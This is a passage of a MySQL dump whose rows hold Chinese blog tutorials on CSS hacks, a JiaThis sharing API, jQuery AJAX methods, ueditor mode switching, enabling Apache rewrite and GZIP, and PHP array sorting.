(-webkit-min-device-pixel-ratio:0)。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器显示红色&nbsp;*/\r\n}\r\n@media&nbsp;screen&nbsp;and&nbsp;(-webkit-min-device-pixel-ratio:0)&nbsp;{&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;blue;&nbsp;/*&nbsp;Webkit内核浏览器显示蓝色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;}\r\n}</pre>', '3508', '1', '1', '1', 'CSS Hack技术,IE CSS兼容,CSS兼容');
INSERT INTO `lei_jingyan` VALUES ('20', '通过JiaThis API接口自定义分享功能按钮实现分享功能本地化', '45084508 25932593 JAAAAA iAAAAA aAAAAA TAAAAA hAAAAA iAAAAA sAAAAA AAAAAA PAAAAA IAAAAA 29512951 31583158 55525552 22082208 50695069 23542354 47774777 25062506 36603660 16201620 37053705 42214221 47544754 23542354 47774777 25062506 36603660 17301730 21562156 27152715', '', '0', '-3-,-11-,-13-', '../upload_image/2015/10/09/bd38c505b3fe951dc4b374c389aa45d0', '2015-10-09 00:25:40', '本站原创', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/09/1444321527108577.jpg\" title=\"\" alt=\"\" width=\"500\" height=\"331\" border=\"0\" vspace=\"0\" style=\"width: 500px; height: 331px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">最早李雷博客采用的是百度分享插件，为此还发过博文讲解如何在一个页面调用多个按钮分享不同的文章，感兴趣的朋友可以在本站搜索一下。但是最近发现网页加载的时候经常出现卡顿现象，研究半天居然是百度分享按钮加载缓慢拖了后腿，严重影响用户体验。所以，下决心取代这个骄傲自居的家伙，网上找了好久，最后发现JiaThis有专门的API分享外链接调用接口。详细研究了一下，发现真的是可以解决困扰我很久的问题，彻底摆脱网页加载的时候调用除自己服务器以外的第三方外链JS脚本，避免了因外链服务器响应缓慢影响到自己网站的加载速度，现在把这个办法分享给大家。</p><p style=\"text-indent: 2em; text-align: left;\"><strong>先看看JiaThis API接口说明：</strong></p><p style=\"text-indent: 2em; text-align: left;\">想在某些动态程序（比如PHP）中调用分享接口，建议可以直接调用我们的API接口，使用JiaThis提供的分享接口，你可以不必再关心众多社会化媒体网站字符编码、各不相同的分享接口，网站访问者最喜欢分享到那些媒体网站等等。同时，作为网站主，你又必须要了解：哪些文章被分享的次数多？分享到哪些媒体？分享后返回到本站的社会化流量数据又是多少？…等等，而这一切，只需要JiaThis一个标准统一的接口就可以为你全部解决。</p><p style=\"text-indent: 2em; text-align: left;\"><strong>JiaThis API 标准格式如下：&nbsp;</strong></p><pre class=\"brush:html;toolbar:false\">http://www.jiathis.com/send/?webid=shareID&amp;url=$siteUrl&amp;title=$siteTitle&amp;uid=$uid&amp;summary=$summary&amp;pic=$pic\r\n\r\nshareID&nbsp;分享ID参数代表你要分享到哪个站点的ID编号,&nbsp;可以通过这个文档查询：分享网站ID清单&nbsp;\r\n$siteUrl&nbsp;参数代表你要分享的网站链接地址，可以通过动态程序调用&nbsp;\r\n$siteTitle&nbsp;参数代表你要分享的网站页面标题，可以通过动态程序调用，也可自定义。\r\n$uid(非必须)&nbsp;代表你注册JiaThis的会员UID，可以登录网站后查到您的UID，用于数据统计。\r\n$summary&nbsp;定义要分享页面的摘要，摘要默认为Meta标签中Description部分的内容\r\n$pic&nbsp;支持新浪微博、腾讯微博、搜狐微博、网易微博，可以自定义分享的图片，如果此值为空，将会根据社会化媒体原有的抓图机制来获取您网站的图片。</pre><p style=\"text-indent: 2em; text-align: left;\">举例1：分享到开心网代码</p><pre class=\"brush:html;toolbar:false\">http://www.jiathis.com/send/?webid=kaixin001&amp;url=http://www.mdaima.com&amp;title=码代码-李雷博客</pre><p style=\"text-indent: 2em; text-align: left;\">举例2：分享到QQ空间代码</p><pre class=\"brush:html;toolbar:false\">http://www.jiathis.com/send/?webid=qzone&amp;url=$siteUrl&amp;title=$siteTitle</pre><p style=\"text-indent: 2em; text-align: left;\">这样的格式比起直接调用各个网站的接口来，使用更方便，代码维护更简单。</p><p style=\"text-indent: 2em; text-align: left;\"><strong>JiaThis支持的分享到网站（WEBID与对应网站关系）</strong></p><pre class=\"brush:html;toolbar:false\">QQ空间&nbsp;&nbsp;&nbsp;&nbsp;qzone&nbsp;&nbsp;&nbsp;&nbsp;http://qzone.qq.com&nbsp;&nbsp;&nbsp;&nbsp;\r\n新浪微博&nbsp;&nbsp;&nbsp;&nbsp;tsina&nbsp;&nbsp;&nbsp;&nbsp;http://weibo.com&nbsp;&nbsp;&nbsp;&nbsp;\r\n微信&nbsp;&nbsp;&nbsp;&nbsp;weixin&nbsp;&nbsp;&nbsp;&nbsp;http://weixin.qq.com/&nbsp;&nbsp;&nbsp;&nbsp;\r\n腾讯微博&nbsp;&nbsp;&nbsp;&nbsp;tqq&nbsp;&nbsp;&nbsp;&nbsp;http://v.t.qq.com/&nbsp;&nbsp;&nbsp;&nbsp;\r\n搜狐微博&nbsp;&nbsp;&nbsp;&nbsp;tsohu&nbsp;&nbsp;&nbsp;&nbsp;http://t.sohu.com&nbsp;&nbsp;&nbsp;&nbsp;\r\n人人网&nbsp;&nbsp;&nbsp;&nbsp;renren&nbsp;&nbsp;&nbsp;&nbsp;http://www.renren.com&nbsp;&nbsp;&nbsp;&nbsp;\r\n飞信&nbsp;&nbsp;&nbsp;&nbsp;feixin&nbsp;&nbsp;&nbsp;&nbsp;http://feixin.10086.cn&nbsp;&nbsp;&nbsp;&nbsp;\r\nQQ好友&nbsp;&nbsp;&nbsp;&nbsp;cqq&nbsp;&nbsp;&nbsp;&nbsp;http://connect.qq.com/&nbsp;&nbsp;&nbsp;&nbsp;\r\n百度贴吧&nbsp;&nbsp;&nbsp;&nbsp;tieba&nbsp;&nbsp;&nbsp;&nbsp;http://tieba.baidu.com&nbsp;&nbsp;&nbsp;&nbsp;\r\n淘江湖&nbsp;&nbsp;&nbsp;&nbsp;taobao&nbsp;&nbsp;&nbsp;&nbsp;http://i.taobao.com&nbsp;&nbsp;&nbsp;&nbsp;\r\n豆瓣&nbsp;&nbsp;&nbsp;&nbsp;douban&nbsp;&nbsp;&nbsp;&nbsp;http://www.douban.com&nbsp;&nbsp;&nbsp;&nbsp;\r\n开心网&nbsp;&nbsp;&nbsp;&nbsp;kaixin001&nbsp;&nbsp;&nbsp;&nbsp;http://www.kaixin001.com&nbsp;&nbsp;&nbsp;&nbsp;\r\n网易微博&nbsp;&nbsp;&nbsp;&nbsp;t163&nbsp;&nbsp;&nbsp;&nbsp;http://t.163.com&nbsp;&nbsp;&nbsp;&nbsp;\r\nMSN&nbsp;&nbsp;&nbsp;&nbsp;msn&nbsp;&nbsp;&nbsp;&nbsp;http://cn.msn.com/</pre><p style=\"text-indent: 2em; text-align: left;\"><span style=\"color: rgb(0, 176, 80);\"><strong>接下来给大家一个具体一点例子，李雷博客最新的分享功能就是用下面的方法：</strong></span></p><p style=\"text-indent: 2em; text-align: left;\"><strong>JS脚本的设置：</strong></p><pre class=\"brush:js;toolbar:false\">&lt;script&gt;\r\n	function&nbsp;share_mdaima(webid,url,title,summary,pic){\r\n	//这里面除了webid必填，其它的url,title,summary,pic均可以选填，下面也设置了为空时的默认值，大家根据具体需要进行修改吧\r\n		if&nbsp;(url==&#39;&#39;){var&nbsp;url=window.location.href;}\r\n		if&nbsp;(title==&#39;&#39;){var&nbsp;title=&quot;码代码-PHP技术经验教程分享-李雷博客&quot;;}\r\n		if&nbsp;(pic==&#39;&#39;){var&nbsp;pic=&quot;http://www.mdaima.com/images/logo.gif&quot;;}\r\n		if&nbsp;(summary==&#39;&#39;){var&nbsp;summary=&quot;码代码，李雷博客，是博主多年PHP实战开发经验的积累，通过简洁的说明文字、功能示例、教程视频，分享博主大量的PHP开发经验及编程技巧，提供给开发人员学习和借鉴！&quot;}\r\n		//可以利用JQ的AJAX动态调用，将参数传给PHP写入数据库，为站长统计提供便利\r\n		//var&nbsp;ajax_bdshare=$.post(&quot;/share_jilu.php?i=&quot;+Math.random(),{webid:webid,url:url});\r\n		var&nbsp;share_url=&quot;http://www.jiathis.com/send/?webid=&quot;+webid+&quot;&amp;url=&quot;+url+&quot;&amp;title=&quot;+title+&quot;&amp;summary=&quot;+summary+&quot;&amp;pic=&quot;+pic+&quot;&quot;;\r\n		window.open(share_url);\r\n	};\r\n&lt;/script&gt;</pre><p style=\"text-indent: 2em; text-align: left;\"><strong>CSS样式的设置：</strong><br/></p><pre class=\"brush:css;toolbar:false\">.bds_qzone_0_32{&nbsp;float:left;background:url(/images/share/icons_0_32.png);background-position:0&nbsp;-52px;&nbsp;height:32px;&nbsp;width:32px;&nbsp;cursor:pointer;&nbsp;margin:0&nbsp;10px;}\r\n.bds_qzone_0_32:hover{opacity:.8;filter:alpha(opacity=80)}\r\n.bds_tsina_0_32{&nbsp;float:left;background:url(/images/share/icons_0_32.png);background-position:0&nbsp;-104px;&nbsp;height:32px;&nbsp;width:32px;&nbsp;cursor:pointer;margin:0&nbsp;10px;}\r\n.bds_tsina_0_32:hover{opacity:.8;filter:alpha(opacity=80)}\r\n.bds_tqq_0_32{&nbsp;float:left;background:url(/images/share/icons_0_32.png);background-position:0&nbsp;-260px;&nbsp;height:32px;&nbsp;width:32px;&nbsp;cursor:pointer;margin:0&nbsp;10px;}\r\n.bds_tqq_0_32:hover{opacity:.8;filter:alpha(opacity=80)}\r\n.bds_renren_0_32{&nbsp;float:left;background:url(/images/share/icons_0_32.png);background-position:0&nbsp;-208px;&nbsp;height:32px;&nbsp;width:32px;&nbsp;cursor:pointer;margin:0&nbsp;10px;}\r\n.bds_renren_0_32:hover{opacity:.8;filter:alpha(opacity=80)}\r\n.bds_weixin_0_32{&nbsp;float:left;background:url(/images/share/icons_0_32.png);background-position:0&nbsp;-1612px;&nbsp;height:32px;&nbsp;width:32px;&nbsp;cursor:pointer;margin:0&nbsp;10px;}\r\n.bds_weixin_0_32:hover{opacity:.8;filter:alpha(opacity=80)}\r\n/*这里引用的图片地址为：http://www.mdaima.com/images/share/icons_0_32.png，大家可以下载来自己设置好路径调试一下，这里只提供了几个按钮，可以参照这个自行增加样式再对应调用class的名称即可*/</pre><p style=\"text-indent: 2em; text-align: left;\"><strong>页面调用按钮：</strong><br/></p><pre class=\"brush:html;toolbar:false\">&lt;div&nbsp;class=&quot;bds_qzone_0_32&quot;&nbsp;onclick=&quot;share_mdaima(&#39;qzone&#39;,&#39;具体URL地址&#39;,&#39;标题&#39;,&#39;描述&#39;,&#39;图片&#39;)&quot;&nbsp;&gt;&lt;/div&gt;\r\n&lt;div&nbsp;class=&quot;bds_tsina_0_32&quot;&nbsp;onclick=&quot;share_mdaima(&#39;tsina&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;)&quot;&gt;&lt;/div&gt;\r\n&lt;div&nbsp;class=&quot;bds_tqq_0_32&quot;&nbsp;onclick=&quot;share_mdaima(&#39;tqq&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;)&quot;&gt;&lt;/div&gt;\r\n&lt;div&nbsp;class=&quot;bds_renren_0_32&quot;&nbsp;onclick=&quot;share_mdaima(&#39;renren&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;)&quot;&gt;&lt;/div&gt;\r\n&lt;div&nbsp;class=&quot;bds_weixin_0_32&quot;&nbsp;onclick=&quot;share_mdaima(&#39;weixin&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;)&quot;&gt;&lt;/div&gt;</pre>', '5126', '1', '1', '1', 'JiaThis接口,自定义分享按钮');
INSERT INTO `lei_jingyan` VALUES ('21', 'JQuery中$.get(),$.post(),$.ajax(),$.getJSON()的区别及用法', 'JAAAAA QAAAAA uAAAAA eAAAAA rAAAAA yAAAAA 54485448 -124-160-124-160 -114-160-114-160 gAAAAA eAAAAA tAAAAA -120-160-120-160 -119-160-119-160 -116-160-116-160 -124-160-124-160 -114-160-114-160 pAAAAA oAAAAA sAAAAA tAAAAA -120-160-120-160 -119-160-119-160 -116-160-116-160 -124-160-124-160 -114-160-114-160 aAAAAA jAAAAA aAAAAA xAAAAA -120-160-120-160 -119-160-119-160 -116-160-116-160 -124-160-124-160 -114-160-114-160 gAAAAA eAAAAA tAAAAA JAAAAA SAAAAA OAAAAA NAAAAA -120-160-120-160 -119-160-119-160 ', '', '0', '-3-', '../upload_image/2015/10/10/07254e6e1c517e60009482dd1e733541', '2015-10-10 09:41:42', '转载自脚本之家', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/10/1444441244138631.jpg\" title=\"\" alt=\"\" width=\"440\" height=\"266\" border=\"0\" vspace=\"0\" style=\"width: 440px; height: 266px;\"/></p><p>详细解读Jquery各Ajax函数：<br/>$.get(),$.post(),$.ajax(),$.getJSON()</p><p><strong>一、$.get(url,[data],[callback])</strong></p><p>说明：url为请求地址，data为请求数据的列表，callback为请求成功后的回调函数，该函数接受两个参数，第一个为服务器返回的数据，第二个参数为服务器的状态，是可选参数。</p><p>而其中，服务器返回数据的格式其实是字符串形势，并不是我们想要的json数据格式，在此引用只是为了对比说明<br/></p><pre class=\"brush:js;toolbar:false\">$.get(&quot;data.php&quot;,$(&quot;#firstName.val()&quot;),function(data){\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;#getResponse&quot;).html(data);&nbsp;}//返回的data是字符串类型\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\n);</pre><p><strong>二、$.post(url,[data],[callback],[type])</strong></p><p>说明：这个函数跟$.get()参数差不多，多了一个type参数，type为请求 的数据类型，可以是html,xml,json等类型，如果我们设置这个参数为：json，那么返回的格式则是json格式的，如果没有设置，就 和$.get()返回的格式一样，都是字符串的<br/></p><pre class=\"brush:js;toolbar:false\">$.post(&quot;data.php&quot;,$(&quot;#firstName.val()&quot;),function(data){\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;#postResponse&quot;).html(data.name);\r\n&nbsp;\r\n},&quot;json&quot;//设置了获取数据的类型，所以得到的数据格式为json类型的\r\n&nbsp;\r\n);</pre><p><strong>三、$.ajax(opiton)</strong></p><p>说明：$.ajax()这个函数功能强大，可以对ajax进行许多精确的控制，需要详细说明的请参照相关资料</p><pre class=\"brush:js;toolbar:false\">$.ajax({\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;url:&nbsp;&quot;ajax/ajax_selectPicType.aspx&quot;,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;data:{Full:&quot;fu&quot;},\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;type:&nbsp;&quot;POST&quot;,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;dataType:&#39;json&#39;,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;success:CallBack,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;error:function(er){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;BackErr(er);}\r\n&nbsp;\r\n});</pre><p><strong>四、$.getJSON(url,[data],[callback])</strong><br/></p><pre class=\"brush:js;toolbar:false\">$.getJSON(&quot;data.php&quot;,$(&quot;#firstName.val()&quot;),function(jsonData){\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;#getJSONResponse&quot;).html(jsonData.id);}//无需设置，直接获取的数据类型为json，所以调用时需要使用jsonData.id方式\r\n);</pre><p><strong>进一步了解AJAX事件</strong><br/>前面讨论的一些方法都有自己的事件处理机制，从页面整体来说，都只能说是局部函数。jQuery提供了AJAX全局函数的定义，以满足特殊的需求。下面是jQuery提供的所有函数（按照触发顺序排列如下）：</p><p>ajaxStart<br/>(全局事件) 开始新的Ajax请求，并且此时没有其他ajax请求正在进行</p><p>beforeSend<br/>(局部事件) 当一个Ajax请求开始时触发。如果需要，你可以在这里设置XMLHttpRequest对象</p><p>ajaxSend<br/>(全局事件) 请求开始前触发的全局事件</p><p>success<br/>(局部事件) 请求成功时触发。即服务器没有返回错误，返回的数据也没有错误</p><p>ajaxSuccess<br/>全局事件全局的请求成功</p><p>error<br/>(局部事件) 仅当发生错误时触发。你无法同时执行success和error两个回调函数</p><p>ajaxError<br/>全局事件全局的发生错误时触发</p><p>complete<br/>(局部事件) 不管你请求成功还是失败，即便是同步请求，你都能在请求完成时触发这个事件</p><p>ajaxComplete<br/>全局事件全局的请求完成时触发</p><p>ajaxStop<br/>(全局事件) 当没有Ajax正在进行中的时候，触发局部事件在之前的函数中都有介绍，我们主要来看看全局事件。对某个对象进行全局事件监听，那么全局中的AJAX动作，都会对其产生影响。</p>', '7292', '1', '1', '1', 'JQ get,JQ post,JQ ajax');
INSERT INTO `lei_jingyan` VALUES ('29', '百度编辑器ueditor，如何在源码模式与富文本模式相互切换', '16571657 22402240 17641764 28132813 38873887 uAAAAA eAAAAA dAAAAA iAAAAA tAAAAA oAAAAA rAAAAA 03120312 40714071 26462646 52585258 52205220 34753475 36033603 42294229 51755175 24272427 46364636 17301730 36033603 42294229 47644764 27052705 39483948 27272727', '', '0', '-3-,-13-', '../upload_image/2015/10/18/8438f670498bd8871e855fde9e01fabd', '2015-10-18 13:01:48', '本站原创', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/18/1445146917775561.jpg\" title=\"\" alt=\"\" width=\"500\" height=\"375\" border=\"0\" vspace=\"0\" style=\"width: 500px; height: 375px;\"/></p><p style=\"text-indent: 2em;\">今天在做评论内容编辑的时候用到了百度编辑器ueditor，但是在测试的时候发现一个问题，因为页面我是用AJAX调用数据再给ueditor写入内容，可如果在对不同内容进行编辑时，先打开的界面调用了编辑器的源码模式，编辑器会记住这个状态，再打开另一评论内容进行编辑时默认也是源码模式，但我想这样也还凑合用吧，可是发现源码模式下加载的内容并没有动态更新，只有在源码模式与富文本模式相互切换一次后才能更新为正确的内容。</p><p style=\"text-indent: 2em;\">所以，索性就一次解决这个问题吧，网上百度了一下，发现对百度编辑器ueditor的切换源码模式和编辑模式的说明文档不太详细，官方的API文档也查了一下，只有一个简单的说明：</p><p style=\"text-indent: 0em;\"><strong>Source的两个命令execCommand(String&nbsp;cmd)和queryCommandState(String&nbsp;cmd)</strong><br/></p><pre class=\"brush:js;toolbar:false;\">//切换源码模式和编辑模式\r\nexecCommand(String&nbsp;cmd)&nbsp;&nbsp;//cmd&nbsp;&nbsp;命令字符串\r\n//javascript代码示例：\r\neditor.execCommand(&#39;source&#39;);\r\n//表示切换源码编辑模式和富文本编辑模式，如果当前为“源代码模式”则切换到“富文本编辑模式”，反之“富文本编辑模式”切换为“源代码模式”。\r\n\r\n//*****************************************************************************************\r\n\r\n//查询当前编辑器的状态是源码模式还是可视化模式\r\nqueryCommandState(String&nbsp;cmd)&nbsp;&nbsp;//cmd&nbsp;&nbsp;命令字符串\r\n//javascript代码示例：\r\neditor.queryCommandState(&#39;source&#39;);\r\n//返回值为int，如果当前是源码编辑模式，返回1，否则返回0</pre><p><strong>我们理解了两个命令的功能，就可以利用一下了：</strong></p><pre class=\"brush:js;toolbar:false\">if&nbsp;(UE.getEditor(&#39;text_id&#39;).queryCommandState(&#39;source&#39;)==1){\r\n	UE.getEditor(&#39;text_id&#39;).execCommand(&#39;source&#39;);\r\n	UE.getEditor(&#39;text_id&#39;).focus();\r\n}</pre><p style=\"text-indent: 2em;\">因为百度编辑器ueditor只提供了在源码模式与富文本模式相互切换的命令，并没有给出两个指定参数，可以直接设置利用。但好在还给出一个判断当前是哪种模式状态的判定方式，利用queryCommandState命令，如果当前是源码编辑模式，返回值为1，否则返回0。</p><p style=\"text-indent: 2em;\">所以我们先判断一下，如果当前是源码模式就切换为富文本模式，再让编辑器获取焦点，这样每次创建编辑器的时候都可以保持在富文本编辑模式下，结构上保持了统一，也获取了焦点保持了数据的同步。<br/></p>', '6415', '1', '0', '1', '编辑器ueditor,源码模式与富文本模式切换');
INSERT INTO `lei_jingyan` VALUES ('30', '如何启用Apache服务器的rewrite和.htaccess功能', '40714071 26462646 38843884 51355135 AAAAAA pAAAAA aAAAAA cAAAAA hAAAAA eAAAAA 23942394 46814681 38873887 21362136 rAAAAA eAAAAA wAAAAA rAAAAA iAAAAA tAAAAA eAAAAA 26452645 -114-160-114-160 hAAAAA tAAAAA aAAAAA cAAAAA cAAAAA eAAAAA sAAAAA sAAAAA 25062506 36603660', '', '0', '-1-,-5-', '../upload_image/2015/10/19/55f29bfdd43bd9d401a5d5b722c5ed70', '2015-10-19 08:28:40', '本站原创', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/19/1445214502446712.jpg\" title=\"\" alt=\"\" width=\"500\" height=\"340\" border=\"0\" vspace=\"0\" style=\"width: 500px; height: 340px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">大家在使用Appserv服务器伪静态规则时，会利用.htaccess文件，但是如果当你打开网站，第一眼看到如下信息：</p><p><span style=\"font-size: 18px;\"><strong>Internal Server Error</strong></span></p><p>The server encountered an internal error or misconfiguration and was unable to complete your request.\r\nPlease contact the server administrator, admin and inform them of the time the error occurred, and anything you might have done that may have caused the error.\r\nMore information about this error may be available in the server error log.&nbsp;</p><hr/><p><strong>Apache/2.2.8 (Win32) PHP/5.2.6 Server at www.mdaima.cn Port 80</strong></p><p style=\"text-indent: 0em; text-align: left;\">这说明你的服务器并没有开启.htaccess文件支持功能，那么如何开户这个功能呢？</p><p style=\"text-indent: 0em; text-align: left;\">第一步，httpd.conf 文件里 查找“&lt;Directory /&gt;”把里面的 AllowOverride None 改成 AllowOverride all 即可，改完后的代码如下：&nbsp;</p><pre class=\"brush:delphi;toolbar:false\">&lt;Directory&nbsp;/&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Options&nbsp;FollowSymLinks\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AllowOverride&nbsp;all\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Order&nbsp;deny,allow\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;allow&nbsp;from&nbsp;all\r\n&lt;/Directory&gt;</pre><p style=\"text-indent: 2em; text-align: left;\">第二步，查看一下你的phpinfo()，如果在apache2handler的Loaded Modules 中找到了mod_rewrite 那么说明你的rewrite module已经加载了。如果没有开启“mod_rewrite”，则打开您的apache安装目录“/apache/conf/”下的 httpd.conf 文件，通过Ctrl+F查找到“LoadModule rewrite_module”，将前面的&quot;#&quot;号删除即可；如果没有查找到，则到“LoadModule”区域，在最后一行加入“LoadModule rewrite_module modules/mod_rewrite.so”（独占一行）。</p><p style=\"text-indent: 2em; text-align: left;\">到这里重启apache服务，URL重写rewrite规则已经启用。</p>', '5177', '1', '0', '1', 'Apache服务器的,启用rewrite,启用.htacce');
INSERT INTO `lei_jingyan` VALUES ('31', '关于开启Apache GZIP功能及开启时报错误提示的解决办法', '25562556 51585158 31103110 38843884 AAAAAA pAAAAA aAAAAA cAAAAA hAAAAA eAAAAA GAAAAA ZAAAAA IAAAAA PAAAAA 25062506 36603660 28162816 31103110 38843884 42174217 17081708 20772077 46834683 44654465 42304230 21362136 29662966 30863086 16761676 23082308', '', '0', '-1-,-5-', '../upload_image/2015/10/19/3d82d2b93b9d369f54e94e0e58efe64a', '2015-10-19 08:39:47', '本站原创', '<p style=\"text-align:center\"><strong><img src=\"/upload_file/image/2015/10/19/1445215162374720.jpg\" title=\"\" alt=\"\" border=\"0\" vspace=\"0\"/></strong></p><p><strong>一、在PHP.ini在查找</strong></p><pre class=\"brush:html;toolbar:false\">extension=php_mbstring.dll\r\nextension=php_exif.dll</pre><p>启用以上两个模块，即去掉前面的分号。切记，执行顺序中php_mbstring.dll必须要在前面，否则有错误提示。</p><p><strong>二、在httpd.conf中查找</strong></p><p>LoadModule deflate_module modules/mod_deflate.so&nbsp;&nbsp;&nbsp;&nbsp; 去掉前面的#号</p><p>在此行下面增加：</p><pre class=\"brush:html;toolbar:false\">&lt;ifmodule&nbsp;mod_deflate.c&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;DeflateCompressionLevel&nbsp;9&nbsp;#最大压缩比率是9倍，越大负载越高，依据服务器配置调整\r\n&nbsp;&nbsp;&nbsp;&nbsp;AddOutputFilterByType&nbsp;DEFLATE&nbsp;text/html&nbsp;text/plain&nbsp;text/xml&nbsp;application/x-httpd-php\r\n&nbsp;&nbsp;&nbsp;&nbsp;AddOutputFilter&nbsp;DEFLATE&nbsp;css&nbsp;js&nbsp;php&nbsp;html&nbsp;jpg&nbsp;png\r\n&lt;/ifmodule&gt;</pre><p>如果出现php_exif.dll–找不到指定的模块，则是第一点没有设置正确。必须要开启第一点中的两个模块，并按照正确的加载顺序放置。</p><p><span style=\"color: rgb(0, 176, 80);\">现说明一点，因为我这个博客使用的是虚拟主机，并没有过多的权限设置这个功能，可是我利用.htaccess文件也一样实现了这个功能，就是在.htaccess文件中增加以下代码：</span><br/></p><pre class=\"brush:html;toolbar:false\">&lt;ifmodule&nbsp;mod_deflate.c&gt;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;AddOutputFilter&nbsp;DEFLATE&nbsp;html&nbsp;xml&nbsp;php&nbsp;js&nbsp;css&nbsp;&nbsp;\r\n&lt;/ifmodule&gt;</pre>', '2805', '1', '0', '1', 'apache GZIP,GZIP错误');
INSERT INTO `lei_jingyan` VALUES ('32', '如何使用强大的PHP函数对数组进行排序', '40714071 26462646 42254225 51355135 39313931 20832083 21362136 PAAAAA HAAAAA PAAAAA 26152615 42934293 22522252 42934293 55735573 29882988 48484848 37373737 48824882', '', '0', '-1-,-6-', '../upload_image/2015/10/20/dad638ec6d780259c6cf7efdf3fb624e', '2015-10-20 08:49:59', '开源中国社区', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/20/1445302184148416.jpg\" title=\"\" alt=\"\" border=\"0\" vspace=\"0\"/></p><p>这些天找工作，所以就看起了php用户手册，数组是必须要了解的，所以就贴出来一起学习学习。</p><p>如果你已经使用了一段时间PHP的话，那么，你应该已经对它的数组比较熟悉了——这种数据结构允许你在单个变量中存储多个值，并且可以把它们作为一个集合进行操作。</p><p>经常，开发人员发现在PHP中使用这种数据结构对值或者数组元素进行排序非常有用。PHP提供了一些适合多种数组的排序函数，这些函数允许你在数组内部对元素进行排列，也允许用很多不同的方法对它们进行重新排序。在这篇文章中我们将讨论该排序中最重要的几个函数。</p><p>简单排序</p><p>首先，让我们来看看最简单的情况：将一个数组元素从低到高进行简单排序，这个函数既可以按数字大小排列也可以按字母顺序排列。PHP的sort（）函数实现了这个功能，如Listing A所示：</p><p>Listing A</p><p>&lt;?php</p><p>&nbsp; $data = array(5,8,1,7,2);</p><p>&nbsp; sort($data);</p><p>&nbsp; print_r($data);</p><p>?&gt;</p><p>输出结果如下所示：</p><p>Array ([0] =&gt; 1</p><p>[1] =&gt; 2</p><p>[2] =&gt; 5</p><p>[3] =&gt; 7</p><p>[4] =&gt; 8</p><p>)</p><p>也能使用rsort（）函数进行排序，它的结果与前面所使用的sort（）简单排序结果相反。Rsort（）函数对数组元素进行从高到低的倒排，同样可以按数字大小排列也可以按字母顺序排列。Listing B给我们展示了它的一个例子：</p><p>Listing B</p><p>&lt;?php $data = array(5,8,1,7,2);rsort($data); print_r($data);</p><p>?&gt;</p><p>它的输出结果如下：</p><p>Array ([0] =&gt; 8</p><p>[1] =&gt; 7</p><p>[2] =&gt; 5</p><p>[3] =&gt; 2</p><p>[4] =&gt; 1</p><p>)</p><p>根据关键字排序</p><p>当我们使用数组的时候，经常根据关键字对数组重新排序，从高到低。Ksort（）函数就是根据关键字进行排序的函数，同时，它在排序的过程中会保持关键字的相关性。Listing C就是一个例子：</p><p>Listing C</p><p>&lt;?php $data = array(&quot;US&quot; =&gt; &quot;United States&quot;, &quot;IN&quot; =&gt; &quot;India&quot;, &quot;DE&quot; =&gt; &quot;Germany&quot;, &quot;ES&quot; =&gt; &quot;Spain&quot;);ksort($data); print_r($data);</p><p>?&gt;</p><p>它的输出结果如下：</p><p>Array ([DE] =&gt; Germany</p><p>[ES] =&gt; Spain</p><p>[IN] =&gt; India</p><p>[US] =&gt; United States</p><p>)</p><p>Krsort（）函数是根据关键字对数组进行倒排，Listing D就是这样的例子：</p><p>Listing D</p><p>&lt;?php $data = array(&quot;US&quot; =&gt; &quot;United States&quot;, &quot;IN&quot; =&gt; &quot;India&quot;, &quot;DE&quot; =&gt; &quot;Germany&quot;, &quot;ES&quot; =&gt; &quot;Spain&quot;);krsort($data); print_r($data);</p><p>?&gt;</p><p>它的输出结果如下：</p><p>Array ([US] =&gt; United States</p><p>[IN] =&gt; India</p><p>[ES] =&gt; Spain</p><p>[DE] =&gt; Germany</p><p>)</p><p>根据值排序</p><p>如果你想使用值排序来取代关键字排序的话，PHP也能满足你的要求。你只要使用asort（）函数来代替先前提到的ksort（）函数就可以了。如Listing E所示：</p><p>Listing E</p><p>&lt;?php $data = array(&quot;US&quot; =&gt; &quot;United States&quot;, &quot;IN&quot; =&gt; &quot;India&quot;, &quot;DE&quot; 